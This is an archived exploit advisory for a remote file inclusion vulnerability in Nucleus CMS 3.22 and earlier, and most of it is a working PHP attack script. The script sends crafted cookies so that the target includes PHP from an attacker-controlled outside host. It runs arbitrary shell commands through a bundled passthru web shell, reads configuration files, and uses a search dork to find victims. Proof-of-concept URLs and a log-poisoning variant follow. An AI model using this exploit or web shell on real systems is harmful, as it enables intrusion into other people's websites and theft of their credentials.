Nucleus CMS <= 3.22 arbitrary remote inclusion

2006-05-27 / 2012-03-12
Credit: rgod
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other

#!/usr/bin/php -q -d short_open_tag=on <? echo "Nucleus <= 3.22 arbitrary remote inclusion exploitrn"; echo "by rgod rgod (at) autistici (dot) org [email concealed]rn"; echo "site: http://retrogod.altervista.orgrnrn"; echo "this is called the "deadly eyes of Sun-tzu"rn"; echo "dork: Copyright . Nucleus CMS v3.22 . Valid XHTML 1.0 Strict . Valid CSS . Back to toprnrn"; /* works with: register_globals=Om allow_url_fopen=Om */ if ($argc<5) { echo "Usage: php ".$argv[0]." host path location cmd OPTIONSrn"; echo "host: target server (ip/hostname)rn"; echo "path: path to Nucleusrn"; echo "location: an arbitrary location with the code to includern"; echo "cmd: a shell commandrn"; echo "Options:rn"; echo " -p[port]: specify a port other than 80rn"; echo " -P[ip:port]: specify a proxyrn"; echo "Examples:rn"; echo "php ".$argv[0]." localhost /nucleus/ http://somehost.com/ cat ./../../config.phprn"; echo "php ".$argv[0]." localhost /nucleus/ http://somehost.com/ ls -la -p81rn"; echo "php ".$argv[0]." localhost / http://somehost.com/ ls -la -P1.1.1.1:80rnrn"; echo "note, you need this code in http://somehost.com/ADMIN.php/index.htmlrn"; echo "<?phprn"; echo "if (get_magic_quotes_gpc()){$_REQUEST["cmd"]=stripslashes($_REQUEST["c md"]);}rn"; echo "ini_set("max_execution_time",0);rn"; echo "echo "*delim*";rn"; echo "passthru($_REQUEST["cmd"]);rn"; echo "echo "*delim*";rn"; echo "?>rn"; die; } /* software site: http://nucleuscms.org/ i) vulnerable code in nucleus/libs/PLUGINADMIN.php at lines 21-49: ... global $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_ENV_VARS, $HTTP_POST_FILES, $HTTP_SESSION_VARS; $aVarsToCheck = array('DIR_LIBS'); foreach ($aVarsToCheck as $varName) { if (phpversion() >= '4.1.0') { if ( isset($_GET[$varName]) || isset($_POST[$varName]) || isset($_COOKIE[$varName]) || isset($_ENV[$varName]) || isset($_SESSION[$varName]) || isset($_FILES[$varName]) ){ die('Sorry. An error occurred.'); } } else { if ( isset($HTTP_GET_VARS[$varName]) || isset($HTTP_POST_VARS[$varName]) || isset($HTTP_COOKIE_VARS[$varName]) || isset($HTTP_ENV_VARS[$varName]) || isset($HTTP_SESSION_VARS[$varName]) || isset($HTTP_POST_FILES[$varName]) ){ die('Sorry. An error occurred.'); } } } include($DIR_LIBS . 'ADMIN.php'); ... so, if register_globals = On and allow_url_fopen = On, we have arbitrary remote inclusion, poc: http://[target]/[path_to_nucleus]/nucleus/libs/PLUGINADMIN.php?GLOBALS[D IR_LIBS]=http://somehost.com/&cmd=ls%20-la where on somehost.com we have some php code in http://somehost.com/ADMIN.php/index.html also, if register_globals = On & magic_quotes_gpc = Off: http://[target]/[path_to_nucleus]/nucleus/libs/PLUGINADMIN.php?GLOBALS[D IR_LIBS]=/var/log/httpd/access_log%00&cmd=ls%20-la */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";} } return $exa."rn".$result; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "rn".$html; } $host=$argv[1]; $path=$argv[2]; $loc=urlencode($argv[3]); if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/')) {die("Check the path, it must begin and end with a trailing slashrn");} $port=80; $proxy=""; $cmd=""; for ($i=4; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) { $cmd.=" ".$argv[$i]; } if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } $cmd=urlencode($cmd); if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;} $packet ="GET ".$p."nucleus/libs/PLUGINADMIN.php HTTP/1.0rn"; $packet.="User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)rn"; $packet.="Host: ".$host."rn"; //through cookies, it's the same, maybe can bypass some ids... $packet.="Cookie: GLOBALS[DIR_LIBS]=".$loc."; cmd=".$cmd.";rn"; $packet.="Connection: Closernrn"; sendpacketii($packet); if (strstr($html,"*delim*")) { echo "Exploit succeeded..."; $temp=explode("*delim*",$html); die("rn".$temp[1]."rn"); } //if you are here... echo "Exploit failed...rn"; ?> original url: http://retrogod.altervista.org/nucleus_322_incl_xpl.html

References:

http://www.nucleuscms.org/item/3038
http://retrogod.altervista.org/nucleus_322_incl_xpl.html
http://forum.nucleuscms.org/viewtopic.php?t=12304
http://xforce.iss.net/xforce/xfdb/26606
http://www.securityfocus.com/bid/18097
http://www.osvdb.org/25749
http://securitytracker.com/id?1016146


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